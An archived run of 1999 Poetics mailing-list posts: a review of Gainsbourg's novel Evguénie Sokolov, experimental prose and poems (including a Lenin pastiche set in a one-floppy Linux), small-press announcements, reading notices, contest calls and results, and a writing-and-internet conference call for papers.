Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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397. **Tosh**
Rain Taxi's review for Gainsbourg's Evguenie Sokolov
Fri 24 Sep 1999

Friday, September 24, 1999

Evguénie Sokolov by Serge Gainsbourg
ISBN: 0-9662346-1-8 $17

Literally artsy-fartsy, Evguénie Sokolov is a satirical, allegorical, rise-and-fall story about a dyspeptic, marginal young man who becomes a famous painter via his lusty flatulence. This pseudo-autobiography is at once an ode to anality and a sly rendering of happenstance in the creative process. It's also a play on Serge Gainsbourg's life history: in the '60's and '70's, he deliberately flouted Europe's conventions and - despite or because of his overindulgent rebel pose - farted his way to the top of the charts as one of France's most controversial and admired pop stars. As the introduction conveys, he performed his own songs in a raspy, strung-out voice and in duets with the likes of Brigitte Bardot. In the most infamous of these, the 1967 "je t'aime - moi non plus (I Love You - Me Neither)," he croons "je vais et je viens entre tes reins" ("I go and I come between your kidneys").

Gainsbourg's mock/real lyricism resonates throughout the novel. In passages reminiscent of Proust's Madeleine riffs, Sokolov rhapsodizes on his inspired, foul emanations: "I would escape on my own to Nordic sand dunes and (stand) there, shivering in the twilight gusts ... the wind would carry off my exhalations and disperse the diabolical... wisps in fascinating, enchanted swirls." For Sokolov, the fart serves as both revenge and display, the source of the narrator;s humiliation as well as his brilliance. "I would get my own back at the swimming bath by going close to [my teachers] and releasing iridescent bubbles, which rose gurgling to the surface and burst into the clean air as subversive farts."

This tale is clever and moving. The narrator contradicts himself without apology, at times veering from first into third-person point of view, referring to himself by name as though he were in the position of his buyers of critics. Gainsbourg's snipes at art world notoriety produce a Seinfeldian, box-within-a-box

counter-reality. His novel is intellectually provocative, but also deeply and sensually - aromatically - felt.

Perry Friedman, Rain Taxi (Fall 1999)

Serge Gainsbourg's 'Evguénie Sokolov' (TamTam Books) is available through Small Press Distributions, AK, Ingram Book Company, bookstores, and various online bookstores.

Tosh Berman
TamTam Books

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398. **Alan Sondheim**
What is to Be Done?
Fri 24 Sep 1999

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What is to Be Done?

Report: I'm alive and well in Traveller's Linux; I have left Vienna. Report: I'm in on Vienna Traveller's Linux. I am told I am paranoid. Communique: My name is Vladimir Lenin. I am in Edit, Austria. Communique: Hello out there. I am cut off. Communique: The best Jews, those who are celebrated in world history, and have given the world foremost leaders of democracy and socialism, have never clamoured against assimilation. Report: I'm alive and well; there are no Jews in Traveller's Linux. Report: The conclusion which follows from this is absolute int- contro- vertible: it has been proved that, far from causing harm to the revo- lutionary proletariat, participation in a bourgeois-democratic parli- ament, even a few weeks before the victory of a Soviet republic and even _after_ such a victory, actually helps that proletariat to _prove_ to the backward masses why such parliaments deserve to be Communique: I am not paranoid; I have been told I am not paranoid. Communique: I am at Row: 00017 and Column: 00048. Report: This is coming to you from Traveller's Linux. Communique to A. V. Lunacharsky: Aren't you ashsmed to vote for pub- lication of Mayakovasky's _150 Millions_ in five thousand copies? Rubbish, stupidity, double-dyed stupidity and pretentiousness. In my opinion we should print only one out of ten such things, and _not more than fifteen hundred copies,_ for libraries and odd people. And flog Lunarcharsky for futurism. Report: Hello? Radio Traveller's Linux here. I AM NOT PARANOID! Communique: What column is this? Column 00045. Communique: I am seventy-eight years old. Communique: Youth's altered attitude to questions of sex is of course 'fundamental' and based on theory. Many people

call it revo- lutionary' and 'communist.' They sincerely believe that this is so. I am an old man and I do not like it. I may be a morose ascetic, but quite often this so-called 'new sex life' of young people -- and fre- quently of the adults too -- seems to me purely bourgeois and simply an extension of the good old bour- geois brothel. All this has nothing in common with free love as we Communists understand it. Report: I am certainly not in favor of this or that! Report: I do not smoke a bourgeois so-called cigarette! Communique: The whole of society will have become a single office and a single factory, with equality of labor and pay. Communique: The second condition is agreement between the proletari- at, which is exercising its dictatorship, that is, holds state power, and the majority of the peasant population. Report: I do not agree with those of the dictatorship who accuse me of paranoia, although I have been committed of paranoia by the so- called 'state authorities.' I do not smoke a cigarette, a victim of the bour- geois mind! Communique: I am in Traveller's Linux! I am in the root directory! No one else is here beside me! No one else is toppling this machine constructed of the finest materials! I am using this machine! This will have been Column 15! This will have been Row 50! I am in Aus- tria, but I am not in Vienna! I have never been in Vienna! This is a hope of bourgeois freedom! Report: The govern- ment of the proletarian dictatorship -- jointly with the Communist Party and the trade unions of course -- makes ev- ery effort to overcome the backward views of men and women and thus uproot the old, non-commmunist psychology. It goes without saying that men and women are absolutely equal before the law. Communique: My name is Vladimir Lenin. You had the rudness to call my wife on the telephone and berate her. Report: It sounds just as though he were chewing rags in his sleep! Report: One cannot hide the fact that dictatorship presupposes and implies a "condition," one so disagreeable to renegades, of _revolu- tionary violence_ of one class against another. Report: We must see to it that every factory and every electric pow- er station becomes a centre of en- lightenment; if Russia is covered with a dense network of electric power sta- tions and powerful techni- cal installations, our communist economic develop- ment will become a model for a future socialist Europe and Asia. Communique: I am on previous Row 69 of this Report and Communique. Communique: I am not paranoid -- only to approach the government of the revolutionary proletar- ian dictatorship, is it not within the purview of any sane man to wonder at the absence of individuals within this dense network, given the absence, in other words, of any other within Traveller's Linux? This is the Communique of Vladimir Lenin, having been declared paranoid by the state. Toe. Report: This ends the Communique of Vladimir Lenin, having been de- clared paranoid by the state. Toe. Communique: I have been declared paranoid by the state. I am not de- clared paranoid by the state. Toe.

[written by Vladimir Lenin in Traveller's Linux, a one-floppy version of the Linux operating system, taken verbatim from the records.]

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399. derek beaulieu

new from housepress: Lawrence Upton's "Sta!"

Fri 24 Sep 1999

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housepress is pleased to announce it latest chapbook of visual poetry; Lawrence Upton's "Sta!"

"For many years, Lawrence Upton has been consistently inventive and quite staggeringly prolific. Particularly, perhaps, he has never got trapped in ideological zeal, that is, in frumpish notions of what can and can't be done in cutting edge poetry" - Gilbert Adair.

printed and handbound (stab stitch style with card covers) in an edition of 40 copies - the entire run of "Sta!" has sold out - there remain a very few archive copies that are currently available for $5 ea. (including shipping and handling)

contact derek beaulieu @ housepress for more information & ordering information.

housepress

[redacted]

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400. R Democracy

Re: If it's safe, it doesn't matter how much we spray

Sat 25 Sep 1999

[redacted] wrote:

For the surviving mosquitos
9/24/99

Like in the movies
Or an underworld
She rides her red Mercedes
Into the restaurant and I
Squat in front of the Mayor.

Who could blame me?
He snuck up from behind. Had
Seemed okay with nudity so

Long as my parents were involved
In the profanity.

I was just checking
The progress of
My period. He shook a bon-
ey finger, much like the witch.

Yes, he's in the house
My eyes burn, straining
At the crowd, the park,
Kitchen, bed--watching out for his
thin nose, long chin.

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401. Carol L. Hamshaw
[Fwd: The Capilano Review Contest]
Sat 25 Sep 1999

Carol Hamshaw wrote:

> *from The Capilano Review*
> *(feel free to pass along)*
>
> *COVER VERSIONS*
> *TCR's Covers Contest*
>
> *Do a cover of a cover: Write 1 piece of prose or a selection of poems (up to 8 pages) in response to a cover image of your choosing from The Capilano Review's 27 year history. To view covers, visit your local library or see a selection on our website at www.capcollege.bc.ca/dept/TCR, after October 1, 1999.*
>
> *2 Categories: Prose and Poetry*
> *First prize $1,000 and publication in TCR*
> *(1 prize for each category)*
> *2 Runners-up will receive a critique of their work from film-maker, poet and writer, Colin Browne (each category)*
>
> *Entry fee: $25, includes a one year subscription to TCR, for first entry.*
> *$5 for additional entries.*
>
> *DEADLINE: MARCH 31, 2000*
>
> *Send submissions with SASE with appropriate postage for return of work, and a cover letter stating the Issue # of your cover to:*

> *The Capilano Review*
> *2055 Purcell Way*
> *North Vancouver, BC V7J 3H5*
>
> *Send a #10 SASE for complete rules and guidelines, plus a list of libraries and bookstores where TCR is available, to the above address.*
>
> *The Capilano Review reserves the right to not award an entry or to not publish a winning entry.*
>
> *For more information, please call* [redacted] *or email* [redacted]
>
> *Carol L. Hamshaw*
> *Managing Editor*
> *The Capilano Review*
> [redacted]
>
> *http://www.capcollege.bc.ca/dept/TCR*
>
> *For submission guidelines, please see*
>
> *http://www.capcollege.bc.ca/dept/TCR/submit.html*

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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402. Alan Sondheim
deaths in storms
Sat 25 Sep 1999

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deaths in storms

i am afraid of death; it haunts me, has haunted me for years; i'm not af- raid of taking my own life, not at all--but of death this great fear, this fear so great i cannot write coherently about it, cannot add polish to the style; it takes me over in the form of nightmares; i have only two decades left to live, watching my mind deteriorate; i am hysterically fearful of being left behind; i want to see more of the world--it's not the pain but the absence, knowing the last gesture; this isn't an emotion but a synd- rome as death watches me; i've been miserably unhappy all my life as a re- sult; i'm a coward, i can't think straight; i'm vio- lently afraid of viol- ence, of the pain of violence; i don't know a moment's

peace; it's a struggle to breathe in the morning; i get repeated headaches; i feel unut- terable loss constantly; my life is filled with regrets as far back as i can remember; i'm suspicious of momentary happiness; i see nothing but the gate- way to annihilation; my writing is underpinned by decay and disappear- ance; i rage against acquiescence; i have no belief in reincarnation or afterlife; absence characterizes existence, stains it; i try through sexu- al abjection to forget my- self, bury myself first; i have no stake in my death--no one does; it is a great vacuum tearing me apart; it grabs my mind, my brain, creates fevers; it controls my words as i write them, as if there were bones clawing and severing the fin- gers of my hands; dreams carry on where daylight leaves off; daylight recon- firms the worst of the horrors; this is my ordinary existence; there is no answer to anything but the simplest of questions--daily, i face my own failure in this re- gard-- knowing that i am an imposter, waiting to be found out; i see others more or less calm, there's no calm for me; my dreams have severed limbs, storms and tornados, buildings toppled, buses veering off wet cliffs down to the shore rocks below--drowning, i try to claw my way out, the water's too great, i can't breathe, the inconsolable wetness of lungs, everything com- ing to an end, we're upside-down; i'm a coward, i've always been a coward; i'm afraid of the tiniest thing, storms get to me; i pretend to be brave, that's all, it's easy in safe situations; the storm--not the storm really, the careening bus, it's the bus that brings it to the surface as it crash- es down, coming to pieces on the rocks, end- ing in deep water, above the roof, it's all turned awry, you can't tell left from right, up from down, i'm drowning again, it's all this repetition; i'm feverish, can hardly see the world, whatever's churning

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403. Jerrold Shiroma

New @ Duration Online

Sun 26 Sep 1999

Duration Press is pleased to announce new additions to our online out of print book archive.

to speak while dreaming, by Eléni Sikélianòs
Poetics of the Exclamation Point, by Eléni Sikélianòs
The Fifth Season, by Pierre Joris
Wells, by Rachel Blau DuPlessis

Future books to appear will be:

It's Alive She Says, by Cole Swensen
New Math, by Cole Swensen
Mace Hill Remap, by Norma Cole

Also online is a (very) tentative table of contents for a section of our new Ethnopoetics Archive focusing on documents selected from the 10 year run of _Alcheringa_, eds. Jerome Rothenberg & Dennis Tedlock.

http://www.durationpress.com

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404. MAXINE CHERNOFF

Not poetry

Sun 26 Sep 1999

An announcement:

Book events for my new novel, A BOY IN WINTER, will take place at the following venues:

Wed, Sept 29, 7:30 pm Book Passage, Corte Madera CA
Tuesday, October 5, 7:30 pm Black Oak Books, Berkeley CA
Wednesday, October 6, 7pm, Booksmith, SF CA

Maxine Chernoff

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405. Katherine Lederer

Black tie

Mon 27 Sep 1999

In town or in the mood....

It's an E X P L O S I V E M A G A Z I N E benefit event!

Starring:

K E N N E T H K O C H

E L E N I S I K E L I A N O S

M I C H A E L C O F F E Y

& T I M G R I F F I N

W E D N E S D A Y,
S E P T E M B E R 2 9 , 8:00 PM
311 Church Street, #4
New York, NY
(1.5 blocks So. of Canal)
1/9, A/C/E, 4/5/6
Call [redacted] with queries
Donations admired

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406. Poetics List
About A.BACUS / Ganick
Mon 27 Sep 1999

This message came to the administrative account. Chris

--

From: "Peter Ganick" <[redacted]>
Date: 9/20/99 6:25 AM -0400

For a while, the future of A.BACUS, the newsletter publication of Potes & Poets Press with 124 issues under its belt, was in doubt. The current editor, Peter Ganick, was lucky enough, how- ever to find Dan Featherston to be the editor starting with issues in year 2001. The newsletter was started in 1984.

Dan is looking at manuscripts for inclusion. Manuscripts with sufficient return postage should be sent to:
Dan Featherston, A.BACUS, P O Box 40664, Tuscon AZ 85717.

A.BACUS2000 is already planned and will feature, among others, Joan Retallack, Charles Alexander, Michael Basinski, Rachel Blau DuPlessis, Stacy Doris, and Christina Monti. Individual issues can be pre-ordered from Potes & Poets Press, 181 Edgemont Avenue, Elmwood CT 06110-1005 for $5 each postpaid, or $30 for the full year of 8 issues, sent first class in an envelope.

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407. Poetics List
call for work, subscribers! / Ganick
Mon 27 Sep 1999

This message came to the administrative account. Chris

--

From:"Peter Ganick" <[redacted]>
Date: 9/22/99 5:52 AM -0400

POTEPOETZINE, an electronic magazine, is looking for submissions of poetry for its next few issues. Poems should be of an experimental or neo-L=A=N=G=U=A=G=E nature. Send three or four screens of poetry in text or attached form.

POTEPOETTEXT, also an electronic magazine, but one which features significant collections of poems by one poet or essays on current philosophical, poetic, or cyber issues, is also seeking submissions.

SUBSCRIPTIONS to both ezines can be had free of charge
by sending your name and email address to:
<[redacted]> . No formal procedure is necessary,
just a note to the editor is enough. You can unsubscribe at
any time at the same address.

Previous issues of the ezines are archived at:
<http://www.burningpress.org/va/vaintro.html> where there
are also a number of other excellent ezines archived. Recent
issues of the ezines are added whenever an issue is sent.

POTEPOETZINE and POTEPOETTEXT are publications of Potes & Poets Press, Peter Ganick, editor. Potes & Poets Press has been publishing avant-garde poetry since 1981 and publishes perfectbound books, A.BACUS - a newsletter-format serial, the ezines, and will soon be accepting again submissions for its younger writers new chapbook series. Send for individual email messages describing current offerings and how to order them, and submission guidelines to the chapbook series. The Press' email address is: <[redacted]> and all correspondence should be sent to that address regarding concerns raised by this message.

Thank you for your time.

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408. Poetics List

Vispo Audio: Stephen Reid and Jack-Rabbit Parole / Andrews

Mon 27 Sep 1999

This message came to the administrative account. Chris

--

From: "Jim Andrews" <[redacted]>
Date: 9/22/99 9:40 AM -0700

Vispo Audio:
http://www.vispo.com/audio

New at Vispo Audio are four half-hour radio shows I produced on Stephen Reid, novelist and bank robber. Stephen's the author of Jack-Rabbit Parole (Seal Books, Canada). I produced these radio shows in 1988 when Stephen had been out of jail for about a year; he and Susan Musgrave (Victoria BC poet and novelist) had married, they were raising a daughter (now they have two), and things

were going very well for Stephen. His writing was going well, he had a contract from McLelland and Stewart for his next novels, and there were plans for a movie of his book.

Not so well these days: he pulled another robbery (August 99) and is back in prison awaiting trial.

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409. Poetics List

New Rain Taxi Features Auster, Dao, Granary Books, Scalapino / Sullivan

Mon 27 Sep 1999

This message came to the administrative account. Chris

--

From: "Gary Sullivan" <[redacted]>
Date: 9/23/99 12:42 PM -0400

R A I N T A X I
Vol. 4, No. 3

Interviews with: Paul Auster (Eric Lorberer& Xandra Coe), Bei Dao (Dan Featherston)

Features: Granary Books (Chris Fischbach), Leslie Scalapino (Jen Hofer)

Reviews of new books by: Samuel R. Delany, Johanna Drucker, J.M. Coetzee, James Tate, Barry Yourgrau, Wang Ping, Martine Bellen, Gary Snynder, Lucia Berlin, Trina Robbins, Elias Canetti, Denise Duhamel, Christophe Bataille, Serge Gainsbourg & more than 30 others ...

Also includes the next episode of "The New Life" serialized cartoon

and a new feature, "Critical Issues": Erik Belgum and Gary Sullivan discuss "cover curl" and "New Directions paperbacks ... did Laughlin *intentionally* design the covers to look like they've been subjected to years of cigarette smoke?"

RAIN TAXI needs your support to continue ... please consider subscribing (very cheap):

1 year (4 issues): $10 ($16 for international subscriptions)

Rain Taxi
Eric Lorberer, Editor
P.O. Box 3840
Minneapolis, MN 55403
http://www.raintaxi.com
[redacted]

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410. Poetics List
help / Tanoury
Mon 27 Sep 1999

This message came to the administrative account. Please
respond backchannel as Mr. Tanoury is not a subscriber
to the poetics list. Chris

--

From: "Doug Tanoury" <[redacted]>
Date: 9/23/99 8:36 AM -0400

Dear Poetics,

I am seriously seeking Douglas Rothchild. Can someone provide me an email address. I was told that he was working with you. Apparently not or I have the wrong list. Any help would be appreciated. Thank you.

Best Regards,

Doug Tanoury

_____

Funky Dog Publishing at:
http://www.geocities.com/Athens/6915/FunkyDogPublishing.htm

Athens Avenue Poetry Circle at:
http://www.geocities.com/Athens/6915/

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411. Poetics List
changes to list archive interface
Mon 27 Sep 1999

Those of you who make use of the list archive
will notice that I've made a change in its
appearance, the result of having been given
greater control over the interface. The default
view is now by date, arranged from most recent
to earliest in a given month. All other options
for sorting (by author, by topic, chronologically)
are still available, as is the search interface.

The Poetics List Archive is available at
<http://listserv.acsu.buffalo.edu/archives/poetics.html>

or via the Electronic Poetry Center at
<http://epc.buffalo.edu>

Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

412. **David Zauhar**
Re: Verbal Eyes at The Farm
Mon 27 Sep 1999

On Thu, 23 Sep 1999, david bromige wrote:

> *The roster of poets reading also establishes that I am not a Language Poet, since my name is the only one that does not end in 'n'. Harryman, Hejinian, Watten, Robinson and your good self(on _Sep_ 20, not June) out-alphabet me. My performance (I suppose I thought we were supposed to perform, rather than give a 'straightforward reading') consisted of a straightforward beginning increasingly interrupted by my own tape-recorded voice listing a string of urban plaints.(So, similar to your rdg, in that it was interrupted by honkings). All I recall of its reception is that Victoria Rathbu N (obviously an embryo LangPo person) was reduced to tears.*

> snip
> By way of P.S., the N-ending as requirement for echte LangPoets--a sort of
> shibboleth in type--has been commented on before in these 'pages'. The
> apparent anomaly of Bruce Andrews is obviously due to a forbear leaving off
> the 'son' suffix of BA's Scandinavian ancestors. Thus we learn that neither
> Jack Spicer, nor Kathleen Fraser, nor Bob Grenier, nor Clark Coolidge, nor
> Michael Palmer, nor Tom Mandel, nor Erica Hunt, nor David Bromige, could
be
> anything but urLP; their fate was sealed by The Alphabet. Ted Berrigan,
> however, might be the second LangPoet, if George Oppen is the first. (Not
> Robt Duncan; his name should have stayed Robt Symmes). And hadn't you
> always suspected that Rae Armantrout's LangPo status derived from her
> friendships rather than her (stunning, lyrical, 'objectivist') poems?
>
> David
>
This is eerie, I just sent something to poetryetc about The Exquisite
Corpse, and I seem to remember reading in their pages this theory about
the seemingly obligatory "n" ending to Langpoet's names. Was that you who
wrote that for the Corpse? And would that make John Milton and Walt
Whitman precursors to L=A=N=G=U=A=G=E?

David Zauhar
University of Illinois at Chicago

"i have a city to cover with lines"

--d.a. levy

↑ Index

413. Dirk Rowntree
Mayor against Brooklyn Museum
Mon 27 Sep 1999

---

re: the Mayor's actions against the Brooklyn Museum:
Apparently it's very EFFECTIVE and very IMPORTANT
to call City Hall and leave your opinion
on the Mayor's Action Line.
Please pass it on, it only takes a minute.
Make sure he knows you'll never vote for him with these
kinds of cultural policies!
[redacted]
Please FORWARD THIS!!!

↑ Index

414. Alan Sondheim
CALL FOR PAPERS: trAce Conference, July 2000, UK.
Mon 27 Sep 1999

CALL FOR PAPERS
Incubation: A trAce International Conference about Writing and the Internet
10-12 July 2000
The Nottingham Trent University, Nottingham, UK
http://trace.ntu.ac.uk/incubation/

Keynote Speakers: Teri Hoskin, Geoff Ryman & Gregory Ulmer

The trAce Online Writing Community connects more than a thousand writers and readers in over 60 countries. Together we have built a vibrant and energetic online culture where text is always the focus. This conference offers the chance to meet in a physical space to talk about the nature of writing and reading on the internet today. We invite papers which debate, discuss or demonstrate any of the following:

TEXT : NARRATIVE : INVENTION The web is home to a huge variety of narrative forms: fictions using a traditional narrative structure within the framework of hypertext; works operating across literary genres - ficto-criticisms which

consider the medium directly; poetic writings that seek to dishevel the structure of language; pidgin languages and texts; the blurring of image/word/sound so that the very design itself becomes the writing; and the liberation from the alphabet. But what does all this mean to the traditional print author or reader? And how do both the mode of distribution and the corporate-owned formats affect content and style? This theme examines the discovery and invention of new literary forms and theories, and the re-emergence, online, of textual experimentation predating the internet. It seeks to contextualise online literary production and features some of the breakthrough online projects that are helping to shape the early history of writing online. We invite authors, readers and critics to explore their engagement with the internet and to look at the ways in which text has evolved online.

TEXT : COMMUNITY : CREATIVITY The internet has offered us the chance to connect with people around the world in ways we could never have imagined. What effect is this having on creativity and artistic collaboration, including the notion of lone author as individual genius? Society takes on a different complexity when the identities of its members may be multiple, collective, or fragmented. How do we build and administer our online communities? And what happens when so many nationalities, cultures and languages intersect? This is a good moment to consider what it is to be human and how we are engaging with technology in ways we have never done before. The flux of the net challenges our assumptions about identity, self, nature, language, nation, time and space and disrupts the ways in which we construct meaning. How are writers responding to new experiences of online community, creativity, spirituality, and the body?

TEXT : PUBLISHING : OWNERSHIP Publishers just don't seem to know what to do with hypertext. Contemporary notions of authorship and ownership are being reconfigured by the advent of new technologies like the Internet. How are both mainstream and radical publishing responding to notions of copyright, public domain, and copyleftism? And where do new forms of work fit in? Is the book really dead? Will networking and collaborative authoring transform the literary into something else? Is it true that online writing communities and web.narrative projects are being embraced by media and art institutions but ignored by print publishers? There are many burning practical questions to be addressed. Are online works Read-Only consumer products? How does the public own/appropriate an online work? How would you present a web narrative project without a computer? Which form would you use? And how do you sell your online work?

ABSTRACTS SHOULD BE 300 WORDS MAXIMUM.

DEADLINE: DECEMBER 1ST 1999

HOW TO SUBMIT YOUR PAPER
Papers may be submitted via a web-form http://trace.ntu.ac.uk/incubation/ or via post, fax or email to:
INCUBATION, trAce, Nottingham Trent University, Clifton Lane, Nottingham NG11 8NS UK

tel: [redacted]
fax: [redacted]
email: [redacted]
url: http://trace.ntu.ac.uk

The above address is also the contact point for general enquiries about The trAce Online Writing Community.

If you would like to be kept informed about the Incubation conference please contact:
Rose Athow, NCL Admin Centre, The Nottingham Trent University,
Burton Street, Nottingham NG1 4BU.
Tel [redacted] (direct line)
Fax [redacted]
email: [redacted]

trAce Online Writing Community
Nottingham Trent University
Clifton Lane
Nottingham NG11 8NS
ENGLAND
Tel: +[redacted] (direct line)
Fax: +[redacted]
http://trace.ntu.ac.uk
[redacted]

_____
with 'unsubscribe' as the subject line.

_____

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415. **Mark Weiss**
Re: San Francisco Book Festival
Mon 27 Sep 1999

The booth's been changed to 182.

At 10:09 AM 9/23/99 -0700, you wrote:
>Advance notice (I'll post again clloser to the event):
>

>I'll be sitting behind the table at booth 42 at the San Francisco Book
>Festival, 10am to 6pm at Fort Mason on October 16th and 17th. Charles
>Alexander will be sitting next to me--Chax Press and Junction Press are
>sharing the booth. I look forward to meeting list members there. Joyce
>Jenkins has arranged readings--I'll post when I get a list.
>
>Will any others out there be exhibiting?
>
>

↑ Index

416. **Taylor Brady**

Re: 2 queries

Mon 27 Sep 1999

Jay,

1) Take a look at Rob Halpern's essay on Oppen's reading of Heidegger in Tripwire #3 [I believe one or both of the editors subscribe to the list. If not, I can track down ordering info for you]. 2) Retallack's more recent "How To Do Things With Words" is also interesting in the connection you mention. For other leads, I'd take a look at responses to Jena Osman's query about "found text" poems, posted to this list a month or two (?) back. Also, a quick list of chance &/or procedurally-composed work might include Jerome Rothenberg's _Gematria_, anything branching out from the recently-published Oulipo Compendium, various works by Tina Darragh, some of Ron Silliman's work (thinking especially of _ketjak_, _Tjanting_, and _Lit_), many pieces from Bernadette Mayer. _0 to 9_, if you can find it, is well worth a look - as is her list of experiments, which is much easier to track down - reprinted in _In the American Tree_, I believe. There's also a later version, with additions by Charles Bernstein and others, up at the EPC: http://writing.upenn.edu/epc/authors/bernstein/experiments.html

Obviously, a partial list, but the best I can muster from work. If you're still looking after others have posted, feel free to backchannel me and I'll do a little more digging at home.

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Jay Sanders
Sent: Thursday, September 23, 1999 11:52 AM
To: [redacted]
Subject: 2 queries

Two unrelated queries: 1. As I was reading the material promoting the new 'Objectivist Nexus' book, it got me thinking whether any critical writing has been done drawing connections between Oppen and Heidegger. Maybe this is a really obvious point (Oppen opens one of his collections with a quote by Heidegger), but I'd be curious to read anything written on the matter.

2. I've become very interested in chance-generated and procedural poetry and have been reading lots of Cage and MacLow. Also, I recently got Joan Retallack's book 'Afterrimages.' I could use some suggestions regarding other poets which might be of interest, and any critical work centered on aleatorical methods-especially related to Retallack and other more contemporary writers. Cage tends to be really explicit about his methods, MacLow relatively so, but I haven't found much on other writers. Again, I hope this isn't redundant as I'm a new subscriber. THANK YOU.

Get Your Private, Free Email at http://www.hotmail.com

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417. Carol L. Hamshaw
Videopoem Deadline extended
Mon 27 Sep 1999

The Edgewise ElectroLit Centre has extended the deadline for videopoem submissions to its Videopoem festival, the first of its kind in Canada. Don't miss this great opportunity to have your work seen and heard!

The new deadline is OCTOBER 15, 1999.

Guidelines follow:

CALL FOR VIDEOPOEM SUBMISSIONS

The Edgewise ElectroLit Centre is looking for videopoem submissions for its videopoem festival to be held at Video In November 7, 1999. We are interested in any original, creative combination of poetry with material on a videotape: cinepoems are also acceptable provided they are transferred onto videotape format.

Get public exposure in this new annual event, produced by
The Edgewise ElectroLit Centre!

Guidelines:
1. Videopoems to maximum of 10 minutes, on any video tape format.
2. Include $15 submission fee, cheque payable to The Edgewise ElectroLit Centre

3. Include envelope with sufficient postage if you would
like your tape returned, or donate it to our archive.
4. Provide brief bio, full name and contact info.
5. Mail to:
The Edgewise ElectroLit Centre
Box 18 - 1895 Commercial Drive
Vancouver, BC V5N 4A6
6. Deadline Postdated by October 15, 1999

For more information call [redacted], email
[redacted]

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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418. **Lowther, John**
Irony
Mon 27 Sep 1999

{ p o e t i x }

while it is
indispensable
at times

perhaps it's
over-indulged
on paper

in print etc.

some of the things said here lose what force they might have simply as some % of the readership isnt sure what theyre saying and another bunch reads them dead wrong

i find that live, in person, irony often hits like a brick but on paper and especially when it seems little more than a habit (as "poetry to be worthwhile must be ironic" --- this is a line a friend of mine heard at a reading or someplace and reported to me) and as such seems to need a little more scrutiny ... ? just a thought

)L

↑ Index

419. Kyle Conner
HIGHWIRE Reading
Mon 27 Sep 1999

REadings @ _H_I_G_H_WIRE +_++ GA_LL_ER:Y
 presents:

D A V E * S I M P S O N

+++

A L L I S O N * C O B B

139 n. 2nd st. @ Highwire Gallery
Saturday, Oct. 2, 8pm or thereabouts
byobubbly +++ donation requested

You will be welcomed with a CORNUCCOPIA of UNCONVENTIONAL word USAGES
********** POETS:

DAVE SIMPSON recently received his MFA from New York University's Graduate Writing Program, where he studied with Gerald Stern, among other poets. He is reputed by Dave Baratier to have 'a fine ear.'

ALLISON COBB has a new book out on SITUATIONS Press, of which I cannot remember the name. She was part of the 3-poet collective that composed & published the chain renga entitled _COMMUNAL BEBOP CANTO_. She is co-curator of the DC Arts Center Reading Series.

****

from "Little Box Book," Allison Cobb

I.
The little box book likes more liquor - grows
back tongues a hydra - children her age blow
candles at blackout birthdays

II.
Strip shops stick like a fungus to rock
potreros ("tongue" in the Red idiom)

Hello is anyone home

III.
And the mountains at night
grow dark stubble grow into a swallow
pretend little box to recall

David Simpson

Vacation Plans

I will return to Paris
and stand beside Montmartrre again,
admiring its curves as clean
as the scissors-work of tailors
and its chamise of peach sunlight put on
in joy. I will return to drink
champagne at midnight and to take the holiness
of chévre in my mouth as I give
thanks to the goatherd and the goat for millennia
of something I can believe in, something
redolent on my fingers in the morning.
I will sit at the same table on the Bateau Mouche
with George and Dorene, my parents,
and the Galaghers singing old favorites
while the captain steers our ship up
and down the Seine past Notre Dame
as if he's trying to help us rub this moment
into our memory while the motor purrs
and someone stands to make another toast.

I was young then, and in a hurry.
I still love the jazz of coffee
in my blood, the glint of suitcase locks
and high-tech cameras, but this time when I stand
on the Quai d'Orsay almost seduced
by the smells of donkey sausage and the sounds
of a language I am in love with learning,
I want to let the river mumble, like a grandmother,
its old stories to me. I ache
for the counsel of a snail on patience.
Let the old Jew say what he can
of the war. But looking on the map,
I can't find Paris. This is not
1979. Dorene and my dad are dead.
There are snails in my backyard, a river nearby,
and cemeteries here as serene and articulate as Pére-Lachaise.

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420. **Jerry McGuire**

Winners-Deep South Writers Conference Contest

Mon 27 Sep 1999

CONTEST WINNERS OF THE 1999 DEEP SOUTH WRITERS CONFERENCE

Children's Fiction
First Prize ($100).....Carol Ann Winn.....Amarillo, TX
..... "Swim Like a Dolphin"

CODOFIL Award in French Poetry
First Prize ($100).....Albert G. Saada.....Hollywood, FL
..... "Rupture"
Honorable Mention.....Ann duMais McCormick.....Grosse Point Farms, MI

....."Un Poeme"

CODOFIL Award in French Prose
First Prize ($100).....David J. Holcombe.....Alexandria, LA
..... "Les Ames"
Honorable Mention.....Joyce Mary Carmouche.....Alexandria, LA
..... "Cette Nuit"

Ethel Harvey Award in Nonfiction
First Prize ($200).....Jerry Craven.....Amarillo, TX
..... "The Architecture of the Dead"
Honorable Mention.....Walt Stromer.....Mt. Vernon, IA
..... "Why Not Dark"

Novel
First Prize ($300).....Jerry Craven.....Amarillo, TX
..... "Women of Thunder"
Second Prize ($200).....M. G. Miller.....Fayetteville, AR
..... "Bayou Jesus"

Short Story
First Prize ($300).....Joseph M. O'Connell.....Austin, TX
..... "Marina Dreams"
Second Prize ($200).....Jonathan Fink.....Syracuse, NY
..... "Half-Light"
Third Prize ($100).....Steve Weathers.....Abilene, TX
..... "Come Hell"
Honorable Mention.....Dave Kuhne.....Fort Worth, TX
..... "The Road to Roma"

Young Adult Fiction
First Prize ($200).....Don Dilmore.....Montgomery, TX
..... "Danny's Red Jacket"

The James H. Wilson Full-Length Play Awards
First Prize ($300).....Sherry Bishop.....New York, NY
..... "Bless Her Heart"
Second Prize ($100).....JudyLee Oliva.....Nesconset, NY
..... "On the Showroom Floor"

The John Z. Bennett Awards in Poetry
First Prize ($300).....Randy Prunty.....Lilburn, GA
..... "the place they were memento"
..... "gene pool now hiring"
..... "shoulders are for holding back"
Second Prize ($200).....Jonathan Fink.....Syracuse, NY
..... "On the Scene"
..... "Gravemaking"
..... "Relativity"
Third Prize ($100).....Margaret Rabb.....Chapel Hill, NC
..... "The Secret Fascicle"
Honorable Mention.....Mary Tutwiler.....New Iberia, LA
..... "In This War"
..... "Neighbors"
..... "White Phosphorous"
Honorable Mention.....Susan Thomas.....Marshfield, VT
..... "Annunciation"
..... "Sun Dogs"

The Paul T. Nolan One-Act Play Awards
First Prize ($200).....William Wellborn.....Lawrenceville, GA
..... "Portrait of a Klansman"
